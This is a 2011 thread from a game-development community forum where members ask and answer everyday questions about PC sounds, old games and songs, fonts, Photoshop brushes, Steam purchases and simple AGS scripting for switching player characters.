Quick question/Rorschach test: What do you see in these two pictures (well, it's one picture, but upper part and lower part independently)?

(http://home.arcor.de/tith-ags/graphs.png)
Title: Re: Ask something - We can help.
Post by: Galen on Wed 30/03/2011 22:22:54
Boobs and half a swastika.
Title: Re: Ask something - We can help.
Post by: TomatoesInTheHead on Wed 30/03/2011 22:49:16
Hmm, so I'm not the only one :-\

I have to/want to include these in a technical report and presentation, I hope the readers/audience won't have these associations.
Title: Re: Ask something - We can help.
Post by: straydogstrut on Wed 30/03/2011 22:53:56
A windmill and two egg cups (I'm innocent and sweet so I am..)
Title: Re: Ask something - We can help.
Post by: theo on Wed 30/03/2011 23:02:44
Quote from: Galen on Wed 30/03/2011 22:22:54
Boobs and half a swastika.

that's exactly what I saw. omg our brains must be interlinked. :o
Title: Re: Ask something - We can help.
Post by: Domino on Thu 31/03/2011 01:40:33
2 giant breast's trying to go swimming in a very shallow pool.
Title: Re: Ask something - We can help.
Post by: Guybrush Nosehair on Thu 31/03/2011 02:42:12
The top section depicts mountains. The bottom section is obviously some alien from Mars puking its gizzards out. How did we not see it before?
Title: Re: Ask something - We can help.
Post by: Galen on Thu 31/03/2011 04:53:51
Quote from: theo on Wed 30/03/2011 23:02:44
that's exactly what I saw. omg our brains must be interlinked. :o

*hums the twilight zone theme*
Title: Re: Ask something - We can help.
Post by: on Sun 10/04/2011 19:34:14
Quote2 giant breast's trying to go swimming in a very shallow pool.

Haha :D

Quick odd Q I guess: Every now and then on my PC (XP) there's a small "chh" sound effect that plays. I can't figure out which app is causing it and why it does it, what it's meant to mean? It's fairly quiet, if anyone recognizes what I'm on about please let me know if you have any ideas! I've heard it prior to having any anti virus thing on here.
Title: Re: Ask something - We can help.
Post by: InCreator on Sun 10/04/2011 20:20:01
SUBWOOFER TEST!
Title: Re: Ask something - We can help.
Post by: Stupot on Sun 10/04/2011 20:32:37
Are you sure it's coming out of the PC?
Check your wardrobe and under your bed... :-\
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on Sun 10/04/2011 21:05:05
Quote from: Mods on Sun 10/04/2011 19:34:14
Quote2 giant breast's trying to go swimming in a very shallow pool.

Haha :D

Quick odd Q I guess: Every now and then on my PC (XP) there's a small "chh" sound effect that plays. I can't figure out which app is causing it and why it does it, what it's meant to mean? It's fairly quiet, if anyone recognizes what I'm on about please let me know if you have any ideas! I've heard it prior to having any anti virus thing on here.

OOO I KNOW!

I bet its that little shitty dog on the search feature scratching himself.

(http://img.askleomedia.com/xp_search_dog.png)
Title: Re: Ask something - We can help.
Post by: Dualnames on Sun 10/04/2011 21:51:09
God, if that's the chhh sound, I'm gonna laugh twice as much as I'm laughing now.
Title: Re: Ask something - We can help.
Post by: on Sun 10/04/2011 23:28:13
LOL yes Calin that's a very good lead, maybe it IS the search. F***. I'll run some tests!1 Cos yes it definitely is that rascal's usual noise.

Edit. Yes. It is. Cheers Calin.

That ******* DOG! Caused me paranoia for the last 6 months! F***!!!!!!!!!!!!!!!
Title: Re: Ask something - We can help.
Post by: Tuomas on Tue 12/04/2011 17:01:54
A question about speakers:

My speakers started making a machine gun-like rattle last night. I figured out it was either the cord going from the laptop to the stereosystem or my soundcard on my laptop. This I thought, because after I took the cord away and tried listening to a vinyl, there was no rattle no more.

But at the same time my tv-speakers started making a buzz. I have a digibox, then a flat 32'' screen with speakers and inbuilt digibox, I use the outer one though because it can record. The sound comes from the digibox... But there's an  annoying buzz on the background, like bees in a can. When I mute the digibox, there's only buzz. When I mute the tv, there's nothing. There used to be no buzz.

My guess is, something is interfering with it, but I don't know how and what and why. Also, I don't know if the speaker-rattle is related, but these two occured for the first time within an hour or so. Any ideas?
Title: Re: Ask something - We can help.
Post by: TomatoesInTheHead on Tue 12/04/2011 18:11:56
Tuomas, is it something like this: http://www.youtube.com/watch?v=23rdefO4gBU ?
Sometimes, my cell phone interferes only when it's directly beneath the speakers, or not at all, sometimes it makes noise even when it's 3-5 meters away.
Title: Re: Ask something - We can help.
Post by: on Thu 14/04/2011 16:36:53
Trying to remember an old puzzle game circa very late 90's or very early millenium... it was a puzzle game, kind of tile based, and you played as these little blob characters I think. All I really remember is jumping from tile to tile, perhaps, to solve some kind of puzzle on each level. I really don't remember much more than that. All I can recall is there was a level with Mount Rushmore in the background, or a comic version of it. If anyone might have the slightest inkling, let me know! :)
Title: Re: Ask something - We can help.
Post by: Nikolas on Thu 14/04/2011 20:16:07
I'm also looking for a game. It was in a sea, like flash based (I think it wasn't flash but looked as such). The game was a sort of an experiment on games from a student. The idea was to eat something and grow longer (as a sort of a snake), and once you did, you could move faster, go lower and so on... It kept going forever but it was a cool little game. Anyone know about it? I think it was posted here...
Title: Re: Ask something - We can help.
Post by: Vince Twelve on Thu 14/04/2011 21:18:31
Sounds like flow: http://interactive.usc.edu/projects/cloud/flowing/
Title: Re: Ask something - We can help.
Post by: Nikolas on Thu 14/04/2011 21:45:35
Thanks Vince! That's it!
Title: Re: Ask something - We can help.
Post by: on Fri 15/04/2011 03:14:33
Hmm, a mass of websites have all gone down in the last 10 mins, including Twitter, GLP, ATS.... ?? Did the US of A just sink? Many .coms seem to have flumped and disappeared over the last hour...... mega virus? :/ DOOM

Anyone else having problems..? Try some big .com's. Sky.com, soundcloud (which was working earlier) ..... all gone without a trace, not even a 404 error.......

this is uckin' weiiird man! LOL please someone confirm this or set me straight??
Title: Re: Ask something - We can help.
Post by: Mati256 on Fri 15/04/2011 03:31:00
Both sites working for me.  ???
Title: Re: Ask something - We can help.
Post by: on Fri 15/04/2011 03:32:11
Thanks Mat, must be something my end then. My ISP doing something I presume. Weird!

Edit: Cool, it's all working again this morning :)
Title: Re: Ask something - We can help.
Post by: Ultra Magnus on Fri 15/04/2011 12:33:41
Can anyone tell me, in terms of computers, what precisely is an executive?
I know it's basically a kind of user interface, but what's the difference between an executive and a shell, for instance?
Title: Re: Ask something - We can help.
Post by: on Fri 15/04/2011 18:15:53
Well I'm going to take a stab at that one Magnus, but I may be completely wrong. I'm pretty sure this IS NOT what you're asking, cos I'd assume you know the difference between EXE and shells.... but yes, If you mean "executable" and shell then one is a file that stores everything and can run standalone - usually (executable) and the other is a small program that LOADS a series of other files or executables (exe's).

For example, an entire game may fit into hello.exe (executable)

Whereas a shell (used to be .bat, not sure what it is these days) would be a very small program to help load things needed to run hello.exe, and then maybe make the computer RUN the executable once it's done loading the other drivers/files etc. The executable would hold a mind boggling amount of data and code, where as a shell would probably be just a few lines:

LOAD C:\DELL\386\SOUND.DRV
RUN C:\MODS\HELLO.EXE

An old game I made worked a bit like this. There was an EXE for it, which you could run, but it wouldn't load the sound drivers and it wouldn't be able to find the root directory for any of the games external data. So I had to write a shell (.bat) to tell the computer to load the sound drivers, register for the session the root directory of the game, and finally, launch the game EXE.
Title: Re: Ask something - We can help.
Post by: Ultra Magnus on Fri 15/04/2011 18:45:06
Quote from: Mods on Fri 15/04/2011 18:15:53
Well I'm going to take a stab at that one Magnus, but I may be completely wrong. I'm pretty sure this IS NOT what you're asking, cos I'd assume you know the difference between EXE and shells....
Hey, man. Thanks for the in-depth answer, but you're right. That's not what I'm asking. ;)

What I'm looking for is more info on what is summarised here (http://foldoc.org/executive). That says that an executive is a shell, but I figure there must be a difference or it would just be called a shell, right? I assume it's a kind of "squares are all rectangles, but not all rectangles are squares" type thing, but can anyone give me any more specific info?
Title: Re: Ask something - We can help.
Post by: dbuske on Fri 15/04/2011 22:09:02
I need ideas for Documentaries to make.  What are all of you interested in knowing about?
Title: Re: Ask something - We can help.
Post by: Mati256 on Fri 15/04/2011 22:15:52
Quote from: dbuske on Fri 15/04/2011 22:09:02
I need ideas for Documentaries to make.  What are all of you interested in knowing about?

Adventure games?
Title: Re: Ask something - We can help.
Post by: dbuske on Fri 15/04/2011 22:21:24
Quote from: Mati256 on Fri 15/04/2011 22:15:52
Quote from: dbuske on Fri 15/04/2011 22:09:02
I need ideas for Documentaries to make.  What are all of you interested in knowing about?

Adventure games?
Probably a tongue in cheek response, but not a bad idea.  Maybe just 2.5 adventures and not commercial.
Title: Re: Ask something - We can help.
Post by: Mati256 on Fri 15/04/2011 22:55:06
I mean AGS Adventure Games. Or maybe AGS itself and it's community.
Title: Re: Ask something - We can help.
Post by: Wyz on Sat 16/04/2011 01:47:34
Quote from: Ultra Magnus on Fri 15/04/2011 12:33:41
Can anyone tell me, in terms of computers, what precisely is an executive?
I know it's basically a kind of user interface, but what's the difference between an executive and a shell, for instance?

As far as I can tell it a bit of a archaic term for a shell. There exist a shell that is called 'Executive', that might coincide with it. I don't know if there is a clear difference between the words, the only thing I could think of is that one might be a rudimentary interface that just fire up programs, while the other also allows basic scripting; but that's just speculation.
Title: Re: Ask something - We can help.
Post by: Stupot on Sat 16/04/2011 03:18:45
Quote from: dbuske on Fri 15/04/2011 22:09:02
I need ideas for Documentaries to make.  What are all of you interested in knowing about?

I had an idea a little while ago, but I'd never do it myself, so maybe you could consider it.

A kind of meta-documentary documenting the process of making a documentary, using your very documentary as the focus of itself.
You would interview various film-makers and documentists(?) about the processes involved, from coming up with an idea, finding sources, interviewing people, writing, filming, editing, etc.  The film not only documents these techniques and advice, but itself becomes the product of what it is documenting.

It makes sense in my head anyway :P
Title: Re: Ask something - We can help.
Post by: Ultra Magnus on Sat 16/04/2011 07:49:08
Quote from: Wyz on Sat 16/04/2011 01:47:34
As far as I can tell it a bit of a archaic term for a shell.
Yeah, as you said, there is an old shell called "Executive", and the Windows interface classified itself as an "MS-DOS Executive" (http://img849.imageshack.us/i/win203.png/) for the first few versions. But more recently there is also the "Windows Executive" that runs between the UI and the kernel in NT, which seems to either be unrelated to the old definition, or is related in a very specific way that I can't figure out.
It's just tough to find anything searching for 'shell' and 'executive' that isn't about oil.
Title: Re: Ask something - We can help.
Post by: Ultra Magnus on Sat 16/04/2011 08:15:54
Quote from: dbuske on Fri 15/04/2011 22:09:02
I need ideas for Documentaries to make.  What are all of you interested in knowing about?
Bapu 2: Infinitely Superior to the Kaffirs
Title: Re: Ask something - We can help.
Post by: Stee on Sat 16/04/2011 11:50:14
Quote from: Ultra Magnus on Fri 15/04/2011 12:33:41
Can anyone tell me, in terms of computers, what precisely is an executive?
I know it's basically a kind of user interface, but what's the difference between an executive and a shell, for instance?

Hope this helps.

http://en.wikipedia.org/wiki/Architecture_of_Windows_NT#Executive

Essentially a collection of services. Probably things like svchost etc, that are core to the system and loaded first.
Title: Re: Ask something - We can help.
Post by: on Tue 19/04/2011 13:10:48
Anyone familiar with 3DS MAX my friend is having trouble importing a simple Wavefront OBJ file. I'm able to import it fine on my old 3D software (Bryce) but she can't get it into her expensive software 3dS Max. Any ideas what might be causing this problem?
Title: Re: Ask something - We can help.
Post by: Anian on Tue 19/04/2011 14:14:31
Quote from: Mods on Tue 19/04/2011 13:10:48
Anyone familiar with 3DS MAX my friend is having trouble importing a simple Wavefront OBJ file. I'm able to import it fine on my old 3D software (Bryce) but she can't get it into her expensive software 3dS Max. Any ideas what might be causing this problem?
Maybe a bit more specific? Is there an error message, she can't see the actual .obj file, does it seem like it's importing but nothing happens, are the textures messed up? Where did she get the obj file?

Also, I don't know this for sure, there's supposed to be a plugin for 3ds max for importing obj and it's supposed to be better than the default one, so might try looking into that as well.
Title: Re: Ask something - We can help.
Post by: WHAM on Tue 26/04/2011 18:37:31
Where can I find a good tutorial on how to make pixellated flames? Or is there a fire plugin for AGS somewhere?
Title: Re: Ask something - We can help.
Post by: on Tue 26/04/2011 20:04:00
An AGS tech question, didn't feel it qualified a new thread:

Basically, using 2.72, what is "Compress Sprite File" ?

1 - My spr is 160mb. To what size will this option roughly compress it to?

2 - The help file says game "speed" can be compromised, anyone care to eloborate? Will my cutscene times change, what changes exactly?

Thanks :)
Title: Re: Ask something - We can help.
Post by: Gilbert on Wed 27/04/2011 06:14:51
Quote from: Mods on Tue 26/04/2011 20:04:00
Basically, using 2.72, what is "Compress Sprite File" ?
Exactly what it says. It compresses the sprite data to save some space (by default the sprite data are not compressed). However, because of performance reasons, it only uses the RLE method (just consider it (one of) the cheapest and simplest compression method), so the effectiveness depends heavily on the nature of the graphics and in general it's weaker than methods such as the LZ and Huffman variants.
Quote
1 - My spr is 160mb. To what size will this option roughly compress it to?
As stated, it depends heavily on the nature of the graphics. If there are a lot of FLAT coloured areas (or large fully transparent areas) in your sprites RLE would normally does its work quite well, but if the sprites are more "complicated", like photorealistic ones, have rapid variations on colours and/or heavy in gradients, etc. the save in space can be negligible. (In other words, try it and see if it really helps.)
Quote
2 - The help file says game "speed" can be compromised, anyone care to eloborate? Will my cutscene times change, what changes exactly?
In fact, because of the retarded nature of the RLE scheme, CPU load used in decompression is almost non-existing, so unless you have a very crippled system it shouldn't affect much of the games' speed. In fact, as sprite compression reduces file sizes, it may even help in improving performance if the actual bottleneck of a certain system comes from disk accesses.
Title: Re: Ask something - We can help.
Post by: on Mon 02/05/2011 00:48:21
Thank you Governor! Much appreciated  8)
Title: Re: Ask something - We can help.
Post by: Diegan on Sat 07/05/2011 23:43:45
Hi, I am new to AGS and would like to try and make a game with a friend of mine. Two questions pop to my mind before even starting:

- Do I have to be a programmer in order to make a game? I have a little knowledge over the basics of programming, but not much, so if being a programmer is required, maybe I won't be able to make a game :(
- The other question is: what software would be good for making sprites, and making backgrounds and objects? I guess there must be neat programs better than paintbrush lol :P

Anyway, thank you!
Title: Re: Ask something - We can help.
Post by: Anian on Sun 08/05/2011 00:56:44
Quote from: Diegan on Sat 07/05/2011 23:43:45
- Do I have to be a programmer in order to make a game? I have a little knowledge over the basics of programming, but not much, so if being a programmer is required, maybe I won't be able to make a game :(
- The other question is: what software would be good for making sprites, and making backgrounds and objects? I guess there must be neat programs better than paintbrush lol :P
1. Like any tool, AGS is here to make your life easier, but you'll need to learn how to use AGS itself. Level of programming knowledge needed depends on what you want to do, but for the sake of argument let's say that to make a very basic game, you just need to read, to use common sense and for a start follow some basic tutorials (such as this one http://www.youtube.com/watch?v=1Ml_DR76Cl4 - it's for an older version of AGS, but basics are mostly the same). Programming is very quick and simplified for simple things.
When you go into more complicated stuff, more programming is required. The wiki/manuals on the main page of the AGS site pretty much offer any info you might need.
I found that a lot of expirienced brilliant people contribute to the forums, so make sure to search the forums before asking stuff, especially the two top parts of the forum, you'll probably find a topic where somebody wanted to do what you want to and already found a solution to it:
http://www.adventuregamestudio.co.uk/yabb/index.php?board=6.0
http://www.adventuregamestudio.co.uk/yabb/index.php?board=2.0
Search those (and other) parts of the forum when you have some trouble and if you can't find an anwser then ask where it's apropriate. Respect the rules of the forum and you'll be rewarded for it, trust me.
There's a even a "Recruit a team" thread, so you can make an offer/present your project there and someone who finds it interesting will probably join you and help out.

2. here's a recent topic about that http://www.adventuregamestudio.co.uk/yabb/index.php?topic=43392.0  as you can see there's quality free software as well as some you have to pay for, your choice, but rememeber, that far more of results depend on your skills than on the actual software.

...oh, and welcome to the forums.  :)
Title: Re: Ask something - We can help.
Post by: Scavenger on Wed 11/05/2011 02:01:51
I didn't want to make a new thread for this, and it seems a little far fetched, but this game has been on my mind for years and I don't know what it is.

It's an RPG, first person, it might have been raycast (I remember sprites walking around Wolfenstein fashion), and you could throw herbs at people if you equipped them in your weapon slot. There were guards walking around also, but if you hit them and they collided with you, you went to a new screen which said "You spend the night in a cold, dark prison cell."

I for the life of me cannot remember what this game was, and it's driving me crazy. I never personally played it, I just watched my cousin play - he quickly traded it in for Day of the Tentacle, I believe. It's not any of the Elder Scrolls games, not Realms of Arkania, not Amulets and Armor, and not Eye of the Beholder. I just can't figure out what it was.
Title: Re: Ask something - We can help.
Post by: Guybrush Nosehair on Wed 11/05/2011 03:15:06
I don't want to divert everyone's attention from the last question asked, but I've also got one. Although I've been a member of this community for a while now, I must admit that I have never played an AGS game (save for a few Indiana Jones and other misc. demos.) So, now that the summer is coming up, I figure it's time I actually sit down and play a game. I have high demands for games, so I hope someone can help me find what I'm looking for.

I want a full length game with good artwork (LucasArts-esque or better) and voice acting. Also, it must be free. Does anyone have any suggestions for such games? Thanks.
Title: Re: Ask something - We can help.
Post by: Hudders on Wed 11/05/2011 09:45:55
Quote from: grim107 on Wed 11/05/2011 03:15:06
I want a full length game with good artwork (LucasArts-esque or better) and voice acting. Also, it must be free.

Depending on your definition of "full length", you're unlikely to get all of that in one game. Especially when you specify that it should be free.
Title: Re: Ask something - We can help.
Post by: Wreck on Wed 11/05/2011 10:16:14
Quote from: Scavenger on Wed 11/05/2011 02:01:51
I didn't want to make a new thread for this, and it seems a little far fetched, but this game has been on my mind for years and I don't know what it is...

I could be wrong as it's been donkeys years since I played them, but this sounds a lot like a mid 90's game called Witchaven, or it's sequel the imaginatively named Witchaven 2 (which both used the Duke Nukem 3d engine).
Title: Re: Ask something - We can help.
Post by: arj0n on Wed 11/05/2011 10:19:43
Quote from: Scavenger on Wed 11/05/2011 02:01:51
I didn't want to make a new thread for this, and it seems a little far fetched, but this game has been on my mind for years and I don't know what it is.

It's an RPG, first person, it might have been raycast (I remember sprites walking around Wolfenstein fashion), and you could throw herbs at people if you equipped them in your weapon slot. There were guards walking around also, but if you hit them and they collided with you, you went to a new screen which said "You spend the night in a cold, dark prison cell."

I for the life of me cannot remember what this game was, and it's driving me crazy. I never personally played it, I just watched my cousin play - he quickly traded it in for Day of the Tentacle, I believe. It's not any of the Elder Scrolls games, not Realms of Arkania, not Amulets and Armor, and not Eye of the Beholder. I just can't figure out what it was.

Arx Fatalis? (http://www.mobygames.com/game/windows/arx-fatalis)
Title: Re: Ask something - We can help.
Post by: Chicky on Fri 13/05/2011 00:55:20
Quick one, i figured someone will know!

What are the legalities regarding use of sounds from freesound.org? I'm planning on using some stuff in a film, it's not commercial just youtube/vimeo etc and maybe some film festivals.
Title: Re: Ask something - We can help.
Post by: RetroJay on Fri 13/05/2011 02:29:57
Hi All.

I have deleted my question cos it was silly.

Jay.
Title: Re: Ask something - We can help.
Post by: Scarab on Fri 13/05/2011 05:32:38
Quote from: grim107 on Wed 11/05/2011 03:15:06
I don't want to divert everyone's attention from the last question asked, but I've also got one. Although I've been a member of this community for a while now, I must admit that I have never played an AGS game (save for a few Indiana Jones and other misc. demos.) So, now that the summer is coming up, I figure it's time I actually sit down and play a game. I have high demands for games, so I hope someone can help me find what I'm looking for.

I want a full length game with good artwork (LucasArts-esque or better) and voice acting. Also, it must be free. Does anyone have any suggestions for such games? Thanks.

The  Ben Jordan (http://www.grundislavgames.com/benjordan/) games are the closest fit I can think of, A set of seven medium length games, several of which have voice acting, and an 8th due to be released this year.

They are some of the first AGS games I played, and I highly recommend them.

Other series that come to mind are the award winning Chzo Mythos by Yahtzee [link to 1st game of 4] (http://www.adventuregamestudio.co.uk/games.php?action=detail&id=269), and the Blackwell Series by Dave Gilbert, although the latter is not free.
Title: Re: Ask something - We can help.
Post by: Gudforby on Sat 14/05/2011 19:14:11
Quote from: Chicky on Fri 13/05/2011 00:55:20
Quick one, i figured someone will know!

What are the legalities regarding use of sounds from freesound.org? I'm planning on using some stuff in a film, it's not commercial just youtube/vimeo etc and maybe some film festivals.

They claim on the main page that freesound is a collaborative database of Creative Commons licensed sounds, stating the words Share, Remix, Reuse - Legally. So I don't think it will be any trouble. I've done the same thing myself many times.

They also have a legal page (http://www.freesound.org/legal.php) with more information. It seems you only need to attribute the creator.
Title: Re: Ask something - We can help.
Post by: Snarky on Sun 15/05/2011 00:12:10
I remember at some point someone criticized an AGS game (and AGS games in general) for using the default speech font, claiming it was ugly. And I agree, it's not a great font.

But which font should I use, then? Is there an obvious, superior substitute in roughly the same style? (Bitmap, not TTF.)
Title: Re: Ask something - We can help.
Post by: ddq on Sun 15/05/2011 00:54:45
Snarky: This is where I go (http://www.dafont.com/bitmap.php) for all my bitmap font needs. There's hundreds of good, free, low-res fonts there, so you've got lots of choices.
Title: Re: Ask something - We can help.
Post by: Snarky on Mon 16/05/2011 14:55:25
Cheers, ddq. Those all seem to be TTF fonts, though. I'd like a SCI font if possible. Also, I'd rather not have to evaluate hundreds of maybe-suitable replacements; it's quite tedious to import each one into AGS, setting the right outline options and then running the game to test how it look. I was hoping someone might be able to just say "Yes, this is a good LucasArts-y speech font with consistent character heights and outlining that you can use instead of the default AGS one."
Title: Re: Ask something - We can help.
Post by: Khris on Mon 16/05/2011 16:12:31
Yes, this (http://db.tt/T9Xoz6k) is a good LucasArts-y speech font with consistent character heights and outlining that you can use instead of the default AGS one.

   (http://i.imgur.com/Bkp3f.png)

It's ttf, too but should be exactly what you're looking for. Import it at 10pt. I've included the outline font though you shouldn't need it if you use automatic outlining.
Title: Re: Ask something - We can help.
Post by: Snarky on Mon 16/05/2011 16:14:41
Sweet! Thanks Khris!
Title: Re: Ask something - We can help.
Post by: InCreator on Mon 16/05/2011 19:39:24
Can you define custom brush in photoshop so it's texture is still intact?
I want use photograph of tree leaf and scatter & rotate it around like any custom brush, but I want it's texture to stay intact instead of being replaced with single color.
Title: Re: Ask something - We can help.
Post by: Mati256 on Mon 16/05/2011 21:15:27
I think you want to use the Pattern Stamp Tool.

PS: Khris thanks for the font.
Title: Re: Ask something - We can help.
Post by: InCreator on Mon 16/05/2011 21:35:26
No that's not it. I want to
(http://i.imgur.com/H2OAk.png)
turn leaf into batch of leaves, which means basically, spray same leaf around while it changes a bit of brightness, has random rotation and size
Title: Re: Ask something - We can help.
Post by: Hudders on Tue 17/05/2011 09:03:53
I have done that before but only by accident! I have no idea how to reproduce it!  :-\
Title: Re: Ask something - We can help.
Post by: Oliwerko on Tue 17/05/2011 14:38:34
Okay, here we go with another "guess the song" request.

The night before last, approx. 3 am some nutshell around the block kept playing this song over and over again loud as hell in their car (probably). It was a slow ballad sung by a female vocalist. It stuck in my mind after hearing it like 20 times (before the police shut them down), but I couldn't make out the words.

What I know is that the most recurrent word was "you". Nothing surprising in love ballads, I know. I remember that there was a phrase "about youuuu" with a falling pitch in the chorus (I'm talking only about the chorus here, the rest was too far away to hear), and then something like "I remember (to saayy)" - the part in the brackets may be completely off, it's just there for the rhythm's sake, it was simply two syllablles sang over 4 falling notes.

Now I guess this is too little to identify, but maybe I'll be lucky. Anyone?
Title: Re: Ask something - We can help.
Post by: Khris on Tue 17/05/2011 15:00:12
http://www.midomi.com/ :)
Title: Re: Ask something - We can help.
Post by: Stupot on Tue 17/05/2011 15:17:53
Oh man.  I need help.
So the other day I wanted to switch off my built-in microphone, and I did this by going to 'manage my audio devices' in Vista, and selected 'Don't use this device (disable)', assuming that I would be able to 'enable' it again at a later time.

I just went to do that because I wanted to play around in 'Midomi' after reading this very thread, and now it looks like there is no sign of my mic, at least not in the 'manage my audio devices' section nor the 'Realtek manager'.

Have I unwittingly uninstalled the mic?  because to me 'disable' and 'uninstall' are two very different things.

Any Idea how I can get it back?

Thanks :-)
Title: Re: Ask something - We can help.
Post by: Khris on Tue 17/05/2011 15:28:04
Look for it in the device manager. Press Windows+Pause, then click the menu option at the top left. You should be able to re-enable it in there.
Title: Re: Ask something - We can help.
Post by: Stupot on Tue 17/05/2011 16:25:40
Thanks Khris. I managed to do it a different way.  I didn't realise that in the 'manage audio devices' window you can simply right-click in the empty space and check 'show disabled devices'.

Crisis averted :D
Title: Re: Ask something - We can help.
Post by: Dualnames on Wed 18/05/2011 14:13:00
Quote from: Oliwerko on Tue 17/05/2011 14:38:34
Okay, here we go with another "guess the song" request.

The night before last, approx. 3 am some nutshell around the block kept playing this song over and over again loud as hell in their car (probably). It was a slow ballad sung by a female vocalist. It stuck in my mind after hearing it like 20 times (before the police shut them down), but I couldn't make out the words.

What I know is that the most recurrent word was "you". Nothing surprising in love ballads, I know. I remember that there was a phrase "about youuuu" with a falling pitch in the chorus (I'm talking only about the chorus here, the rest was too far away to hear), and then something like "I remember (to saayy)" - the part in the brackets may be completely off, it's just there for the rhythm's sake, it was simply two syllablles sang over 4 falling notes.

Now I guess this is too little to identify, but maybe I'll be lucky. Anyone?

Perhaps it was Alone by Heart?
Title: Re: Ask something - We can help.
Post by: Tabata on Wed 18/05/2011 20:57:02
I don't think, that it's that easy to find, but sometimes ... so possibly it's  Roxette's "A Thing About You" (http://www.youtube.com/watch?v=_nWP2nxx3WM&feature=related)?

Well, there are a very lot "about you" 's in it, but no "I remember" and only once we have "youuu" with 4 falling notes (at 2:17) and twice with 3 falling notes (at 2:01+3:08)  ::)
Title: Re: Ask something - We can help.
Post by: LRH on Thu 19/05/2011 22:09:56
Okay, a few questions:

1.) Is it possible to use some sort of phone to send video in real time to a computer? If so, which models, etc?

2.)Does anyone know of any legitimate writing/transcription jobs that allow telecommuting? I don't mind grunt work...I could use something though.
Title: Re: Ask something - We can help.
Post by: Snarky on Thu 19/05/2011 22:42:29
1. The iPhone lets you do video chat, and I'd guess some Android phones too. (I actually thought mine did, but I can't see an option for it in Skype.) Then you can be on a computer on the other end, and even record the video.
Title: Re: Ask something - We can help.
Post by: on Fri 20/05/2011 01:01:13
2. You mind find something of interest at peopleperhour.com, or other 'freelance writer' job sites. However on all of them you bid for jobs which can make it a bit harder in the early stages but the sites never seem short of work.
Title: Re: Ask something - We can help.
Post by: Grim on Sat 21/05/2011 05:10:41
Quote from: Oliwerko on Tue 17/05/2011 14:38:34
Okay, here we go with another "guess the song" request.

The night before last, approx. 3 am some nutshell around the block kept playing this song over and over again loud as hell in their car (probably). It was a slow ballad sung by a female vocalist. It stuck in my mind after hearing it like 20 times (before the police shut them down), but I couldn't make out the words.

What I know is that the most recurrent word was "you". Nothing surprising in love ballads, I know. I remember that there was a phrase "about youuuu" with a falling pitch in the chorus (I'm talking only about the chorus here, the rest was too far away to hear), and then something like "I remember (to saayy)" - the part in the brackets may be completely off, it's just there for the rhythm's sake, it was simply two syllablles sang over 4 falling notes.

Now I guess this is too little to identify, but maybe I'll be lucky. Anyone?

Was it Adelle's "Someone like you"? It's on the radio all the bloody time... I figure if someone was to listen to some track over and over again it would be that these days.
Title: Re: Ask something - We can help.
Post by: NickyNyce on Tue 24/05/2011 12:47:17
I have question regarding game design and how to go about doing it,

I have a couple characters at the moment and after some puzzle solving I would like to switch to the second one, but now I would like all hotspots and objects to say something different. These character's will not share inventory or even see each other, but i want the room states to stay the same.
I figured I would just make new rooms using the same backgrounds as the first character, and figured this would work, I'm sure using global variables would be the other way to go about it.....if not the better way.....like using if (This player) say this....or if (that player) say that.....can someone give me a push in the right direction here....

thanks
Title: Re: Ask something - We can help.
Post by: Scarab on Tue 24/05/2011 14:16:31
Quote from: NickyNyce on Tue 24/05/2011 12:47:17
I have question regarding game design and how to go about doing it,

I have a couple characters at the moment and after some puzzle solving I would like to switch to the second one, but now I would like all hotspots and objects to say something different. These character's will not share inventory or even see each other, but i want the room states to stay the same.
I figured I would just make new rooms using the same backgrounds as the first character, and figured this would work, I'm sure using global variables would be the other way to go about it.....if not the better way.....like using if (This player) say this....or if (that player) say that.....can someone give me a push in the right direction here....

thanks
Although technically you should be posting this in Beginner's Technical Questions, it's easier to just answer you here. Just keep in mind to go there in future for questions like this. :)

You'll be glad to hear that this is quite simple to do.
Under each description for the hotspots you put an if statement.

if(player.ID == cEgo.ID){
  cEgo.Say("Cool, an XBox! Can't wait to play!");
}
else if(player.ID == cGirl.ID){
  cGirl.Say("Sigh, an XBox. I hate those things.");
}
else{
  // If the player character is anyone but cEgo or cGirl
  player.say("An XBox. I have no strong opinions on it.");
}

Note that if you simply want the new player character to repeat the same line, you can use the player.Say() command.

To set the player character you can simply use the SetAsPlayer command.

/// put this in the code for a GUI button or however you plan to change it
cGirl.SetAsPlayer();
///Seeing as the characters have different inventories, you might want to call this command on the InvWindow
invMain.CharacterToUse = cGirl;


Hope that's all you need to know, PM me if you have any troubles.
Title: Re: Ask something - We can help.
Post by: NickyNyce on Tue 24/05/2011 14:41:23
Thanks a bunch Scarab, I was going to place this in the beginner's section but unfortunatley placed it here instead....I always lose these coin flip situations.  :P

This was very helpful and I appreciate the reply, Thanks again

Title: Re: Ask something - We can help.
Post by: Stupot on Thu 26/05/2011 00:30:23
Quick question.

I'm probably one of the few people left who has never used Steam.  But they're offering the three Sam and Max seasons for 66% off.  I only want Season 1 at the moment, and it's only £5.79 with this offer.

The difference between Season 1 and Seasons 2-3 is that Season 1 is not marked as "Steam Play", which I gather meand that you can buy once and down load as many times as you want, for the benefit of people who have PCs and Macs?  Is that right?

But Season 1 doesn't have this label.  Does this mean that if I buy the game now and my laptop rejects it I will have to rebuy the game if I ever wanted to download it again for a new computer?

That's why GOG is so awesome.  I've bought a couple of games on there that havent worked on my shitty laptop, but I don't mind waitng til I have a better computer before I paly them because I can just download it again, since I paid for it already.

Cheers.

P.S. Okay, maybe that wasn't such a quick question, but I'm sure the answers will be ;)
Title: Re: Ask something - We can help.
Post by: LimpingFish on Thu 26/05/2011 01:34:29
@Stupot http://www.shacknews.com/article/63793/steams-pcmac-steam-play-game

Also, if you just want to download a game again, after setting up Steam on a new computer, you won't have any problems. Steam games are tied to your account, not to any specific computer. You can only play them on one computer at a time, though.

Basically, Steamplay Sam & Max will be available to you on either PC or Mac, depending on when and where you want to play them. You only pay for it once.
Title: Re: Ask something - We can help.
Post by: Stupot on Thu 26/05/2011 01:42:37
Ahh okay so the Steamplay thing is just for the PC/MAc issue, and simply downloading the game onto two PCs wont be a problem?  That's what I wanted to hear.  Thanks LimpingFish :)

[update]
I couldn't resist it.  I bought all three seasons for £11.90.  Even if this laptop can't handle them I'll have them ready to play when I get a new pooter.  I love a good bargain, me.
Title: Re: Ask something - We can help.
Post by: Mati256 on Thu 26/05/2011 02:37:56
Hello. I want to start learning a new programing language because I want to create Mobile phone applications.
I heard the two most important are Java and C++, which one would you recommend?
I'm more inclined to Java but maybe C++ is more useful.
Title: Re: Ask something - We can help.
Post by: Dualnames on Sun 05/06/2011 04:33:16
